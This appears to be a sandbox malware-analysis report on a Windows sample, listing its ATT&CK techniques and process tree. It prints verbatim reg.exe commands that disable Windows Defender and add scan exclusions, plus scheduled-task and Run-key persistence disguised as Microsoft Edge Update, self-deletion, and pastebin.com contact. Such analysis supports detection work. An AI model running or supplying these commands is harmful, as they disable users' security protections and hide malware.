a792f7bf2b52e165d6c27df4e467a6d6b45e749f90ec2d4be421e1a18ae5849e

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 18 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Executes dropped EXE 2 IoCs

pid	Process
3116	MicrosoftEdgeUpdate.exe
2912	MicrosoftEdgeUpdate.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdateBackground = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\EdgeUpdate\\MicrosoftEdgeUpdate.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdateBackground = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\EdgeUpdate\\MicrosoftEdgeUpdate.exe"	reg.exe

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	pastebin.com
3	pastebin.com
7	pastebin.com

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
6024	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4652	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MicrosoftEdgeUpdate.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	MicrosoftEdgeUpdate.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

pid	Process
252	reg.exe
3700	reg.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2256	schtasks.exe
5128	schtasks.exe
5388	schtasks.exe
5468	schtasks.exe
3004	schtasks.exe
4664	schtasks.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
6024	powershell.exe
6024	powershell.exe
6024	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	6024	powershell.exe

Suspicious use of WriteProcessMemory 55 IoCs

description	pid	Process	procid_target
PID 5776 wrote to memory of 4704	5776	25925eb09a142160bb11a5dfeed35967.exe	89
PID 5776 wrote to memory of 2976	5776	25925eb09a142160bb11a5dfeed35967.exe	92
PID 5776 wrote to memory of 4616	5776	25925eb09a142160bb11a5dfeed35967.exe	94
PID 5776 wrote to memory of 4324	5776	25925eb09a142160bb11a5dfeed35967.exe	96
PID 5776 wrote to memory of 4132	5776	25925eb09a142160bb11a5dfeed35967.exe	98
PID 5776 wrote to memory of 2816	5776	25925eb09a142160bb11a5dfeed35967.exe	100
PID 5776 wrote to memory of 2572	5776	25925eb09a142160bb11a5dfeed35967.exe	102
PID 5776 wrote to memory of 4168	5776	25925eb09a142160bb11a5dfeed35967.exe	104
PID 5776 wrote to memory of 3256	5776	25925eb09a142160bb11a5dfeed35967.exe	106
PID 5776 wrote to memory of 3240	5776	25925eb09a142160bb11a5dfeed35967.exe	108
PID 3240 wrote to memory of 2844	3240	net.exe	110
PID 5776 wrote to memory of 5520	5776	25925eb09a142160bb11a5dfeed35967.exe	111
PID 5776 wrote to memory of 5468	5776	25925eb09a142160bb11a5dfeed35967.exe	113
PID 5776 wrote to memory of 5692	5776	25925eb09a142160bb11a5dfeed35967.exe	115
PID 5776 wrote to memory of 3004	5776	25925eb09a142160bb11a5dfeed35967.exe	117
PID 5776 wrote to memory of 252	5776	25925eb09a142160bb11a5dfeed35967.exe	119
PID 5776 wrote to memory of 3116	5776	25925eb09a142160bb11a5dfeed35967.exe	121
PID 5776 wrote to memory of 4652	5776	25925eb09a142160bb11a5dfeed35967.exe	123
PID 3116 wrote to memory of 3480	3116	MicrosoftEdgeUpdate.exe	125
PID 4652 wrote to memory of 900	4652	cmd.exe	127
PID 3116 wrote to memory of 3952	3116	MicrosoftEdgeUpdate.exe	128
PID 2912 wrote to memory of 4688	2912	MicrosoftEdgeUpdate.exe	131
PID 3116 wrote to memory of 1408	3116	MicrosoftEdgeUpdate.exe	133
PID 2912 wrote to memory of 4620	2912	MicrosoftEdgeUpdate.exe	135
PID 3116 wrote to memory of 2620	3116	MicrosoftEdgeUpdate.exe	137
PID 2912 wrote to memory of 3488	2912	MicrosoftEdgeUpdate.exe	139
PID 3116 wrote to memory of 4732	3116	MicrosoftEdgeUpdate.exe	141
PID 2912 wrote to memory of 4288	2912	MicrosoftEdgeUpdate.exe	143
PID 3116 wrote to memory of 2592	3116	MicrosoftEdgeUpdate.exe	144
PID 2912 wrote to memory of 5164	2912	MicrosoftEdgeUpdate.exe	147
PID 2912 wrote to memory of 2548	2912	MicrosoftEdgeUpdate.exe	149
PID 2912 wrote to memory of 3848	2912	MicrosoftEdgeUpdate.exe	151
PID 2912 wrote to memory of 3148	2912	MicrosoftEdgeUpdate.exe	153
PID 2912 wrote to memory of 936	2912	MicrosoftEdgeUpdate.exe	155
PID 2912 wrote to memory of 1584	2912	MicrosoftEdgeUpdate.exe	157
PID 3116 wrote to memory of 3336	3116	MicrosoftEdgeUpdate.exe	159
PID 3116 wrote to memory of 840	3116	MicrosoftEdgeUpdate.exe	161
PID 3116 wrote to memory of 1304	3116	MicrosoftEdgeUpdate.exe	163
PID 1584 wrote to memory of 3548	1584	net.exe	165
PID 2912 wrote to memory of 5608	2912	MicrosoftEdgeUpdate.exe	166
PID 2912 wrote to memory of 4664	2912	MicrosoftEdgeUpdate.exe	168
PID 2912 wrote to memory of 3400	2912	MicrosoftEdgeUpdate.exe	170
PID 2912 wrote to memory of 2256	2912	MicrosoftEdgeUpdate.exe	172
PID 2912 wrote to memory of 3700	2912	MicrosoftEdgeUpdate.exe	174
PID 2912 wrote to memory of 5916	2912	MicrosoftEdgeUpdate.exe	176
PID 5916 wrote to memory of 3396	5916	net.exe	178
PID 2912 wrote to memory of 5496	2912	MicrosoftEdgeUpdate.exe	179
PID 2912 wrote to memory of 1180	2912	MicrosoftEdgeUpdate.exe	181
PID 2912 wrote to memory of 5128	2912	MicrosoftEdgeUpdate.exe	183
PID 2912 wrote to memory of 3048	2912	MicrosoftEdgeUpdate.exe	185
PID 2912 wrote to memory of 2420	2912	MicrosoftEdgeUpdate.exe	187
PID 2912 wrote to memory of 3460	2912	MicrosoftEdgeUpdate.exe	189
PID 2912 wrote to memory of 5388	2912	MicrosoftEdgeUpdate.exe	191
PID 2912 wrote to memory of 4904	2912	MicrosoftEdgeUpdate.exe	193
PID 2912 wrote to memory of 6024	2912	MicrosoftEdgeUpdate.exe	195

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\25925eb09a142160bb11a5dfeed35967.exe
"C:\Users\Admin\AppData\Local\Temp\25925eb09a142160bb11a5dfeed35967.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5776
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
  2⤵
  PID:4704
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /reg:64
  2⤵
  PID:2976
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /f /reg:64 /v DisableRealtimeMonitoring /t REG_DWORD /d 1
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4616
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /f /reg:64 /v DisableOnAccessProtection /t REG_DWORD /d 1
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4324
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /f /reg:64 /v DisableBehaviorMonitoring /t REG_DWORD /d 1
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4132
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /f /reg:64 /v DisableAntiSpyware /t REG_DWORD /d 1
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:2816
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate /t REG_DWORD /d 0 /f /reg:64
  2⤵
  PID:2572
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v .exe /t REG_DWORD /d 0 /f /reg:64
  2⤵
  PID:4168
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v .tmp /t REG_DWORD /d 0 /f /reg:64
  2⤵
  PID:3256
- C:\Windows\system32\net.exe
  "net" session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3240
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:2844
- C:\Windows\system32\schtasks.exe
  "schtasks" /Delete /F /TN MicrosoftEdgeUpdateBackgroundTaskCore
  2⤵
  PID:5520
- C:\Windows\system32\schtasks.exe
  "schtasks" /Create /F /TN MicrosoftEdgeUpdateBackgroundTaskCore /XML C:\Users\Admin\AppData\Local\Temp\hta_MicrosoftEdgeUpdateBackgroundTaskCore.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5468
- C:\Windows\system32\schtasks.exe
  "schtasks" /Delete /F /TN MicrosoftEdgeUpdateBackgroundTaskSession
  2⤵
  PID:5692
- C:\Windows\system32\schtasks.exe
  "schtasks" /Create /F /TN MicrosoftEdgeUpdateBackgroundTaskSession /XML C:\Users\Admin\AppData\Local\Temp\hta_MicrosoftEdgeUpdateBackgroundTaskSession.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3004
- C:\Windows\system32\reg.exe
  "reg" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v MicrosoftEdgeUpdateBackground /t REG_SZ /f /d C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:252
- C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
  "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3116
- - C:\Windows\system32\reg.exe
    "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
    3⤵
    PID:3480
- - C:\Windows\system32\reg.exe
    "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /reg:64
    3⤵
    PID:3952
- - C:\Windows\system32\reg.exe
    "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /f /reg:64 /v DisableRealtimeMonitoring /t REG_DWORD /d 1
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1408
- - C:\Windows\system32\reg.exe
    "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /f /reg:64 /v DisableOnAccessProtection /t REG_DWORD /d 1
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2620
- - C:\Windows\system32\reg.exe
    "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /f /reg:64 /v DisableBehaviorMonitoring /t REG_DWORD /d 1
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4732
- - C:\Windows\system32\reg.exe
    "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /f /reg:64 /v DisableAntiSpyware /t REG_DWORD /d 1
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    PID:2592
- - C:\Windows\system32\reg.exe
    "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:3336
- - C:\Windows\system32\reg.exe
    "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v .exe /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:840
- - C:\Windows\system32\reg.exe
    "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v .tmp /t REG_DWORD /d 0 /f /reg:64
    3⤵
    PID:1304
- C:\Windows\system32\cmd.exe
  "cmd" /C "choice /C Y /N /D Y /T 3 & Del \"C:\Users\Admin\AppData\Local\Temp\25925eb09a142160bb11a5dfeed35967.exe\""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4652
- - C:\Windows\system32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:900

C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
1⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:2912
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
  2⤵
  PID:4688
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /reg:64
  2⤵
  PID:4620
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /f /reg:64 /v DisableRealtimeMonitoring /t REG_DWORD /d 1
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:3488
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /f /reg:64 /v DisableOnAccessProtection /t REG_DWORD /d 1
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4288
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /f /reg:64 /v DisableBehaviorMonitoring /t REG_DWORD /d 1
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:5164
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /f /reg:64 /v DisableAntiSpyware /t REG_DWORD /d 1
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:2548
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate /t REG_DWORD /d 0 /f /reg:64
  2⤵
  PID:3848
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v .exe /t REG_DWORD /d 0 /f /reg:64
  2⤵
  PID:3148
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v .tmp /t REG_DWORD /d 0 /f /reg:64
  2⤵
  PID:936
- C:\Windows\system32\net.exe
  "net" session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1584
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:3548
- C:\Windows\system32\schtasks.exe
  "schtasks" /Delete /F /TN MicrosoftEdgeUpdateBackgroundTaskCore
  2⤵
  PID:5608
- C:\Windows\system32\schtasks.exe
  "schtasks" /Create /F /TN MicrosoftEdgeUpdateBackgroundTaskCore /XML C:\Users\Admin\AppData\Local\Temp\hta_MicrosoftEdgeUpdateBackgroundTaskCore.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4664
- C:\Windows\system32\schtasks.exe
  "schtasks" /Delete /F /TN MicrosoftEdgeUpdateBackgroundTaskSession
  2⤵
  PID:3400
- C:\Windows\system32\schtasks.exe
  "schtasks" /Create /F /TN MicrosoftEdgeUpdateBackgroundTaskSession /XML C:\Users\Admin\AppData\Local\Temp\hta_MicrosoftEdgeUpdateBackgroundTaskSession.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2256
- C:\Windows\system32\reg.exe
  "reg" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v MicrosoftEdgeUpdateBackground /t REG_SZ /f /d C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3700
- C:\Windows\system32\net.exe
  "net" session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5916
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:3396
- C:\Windows\system32\schtasks.exe
  "schtasks" /Query /TN MicrosoftEdgeUpdateBackgroundTaskCore
  2⤵
  PID:5496
- C:\Windows\system32\schtasks.exe
  "schtasks" /Delete /F /TN MicrosoftEdgeUpdateBackgroundTaskCore
  2⤵
  PID:1180
- C:\Windows\system32\schtasks.exe
  "schtasks" /Create /F /TN MicrosoftEdgeUpdateBackgroundTaskCore /XML C:\Users\Admin\AppData\Local\Temp\hta_MicrosoftEdgeUpdateBackgroundTaskCore.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5128
- C:\Windows\system32\schtasks.exe
  "schtasks" /Query /TN MicrosoftEdgeUpdateBackgroundTaskCore
  2⤵
  PID:3048
- C:\Windows\system32\schtasks.exe
  "schtasks" /Query /TN MicrosoftEdgeUpdateBackgroundTaskSession
  2⤵
  PID:2420
- C:\Windows\system32\schtasks.exe
  "schtasks" /Delete /F /TN MicrosoftEdgeUpdateBackgroundTaskSession
  2⤵
  PID:3460
- C:\Windows\system32\schtasks.exe
  "schtasks" /Create /F /TN MicrosoftEdgeUpdateBackgroundTaskSession /XML C:\Users\Admin\AppData\Local\Temp\hta_MicrosoftEdgeUpdateBackgroundTaskSession.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5388
- C:\Windows\system32\schtasks.exe
  "schtasks" /Query /TN MicrosoftEdgeUpdateBackgroundTaskSession
  2⤵
  PID:4904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -Command "Get-WmiObject Win32_VideoController | Select-Object -ExpandProperty Name"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6024

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry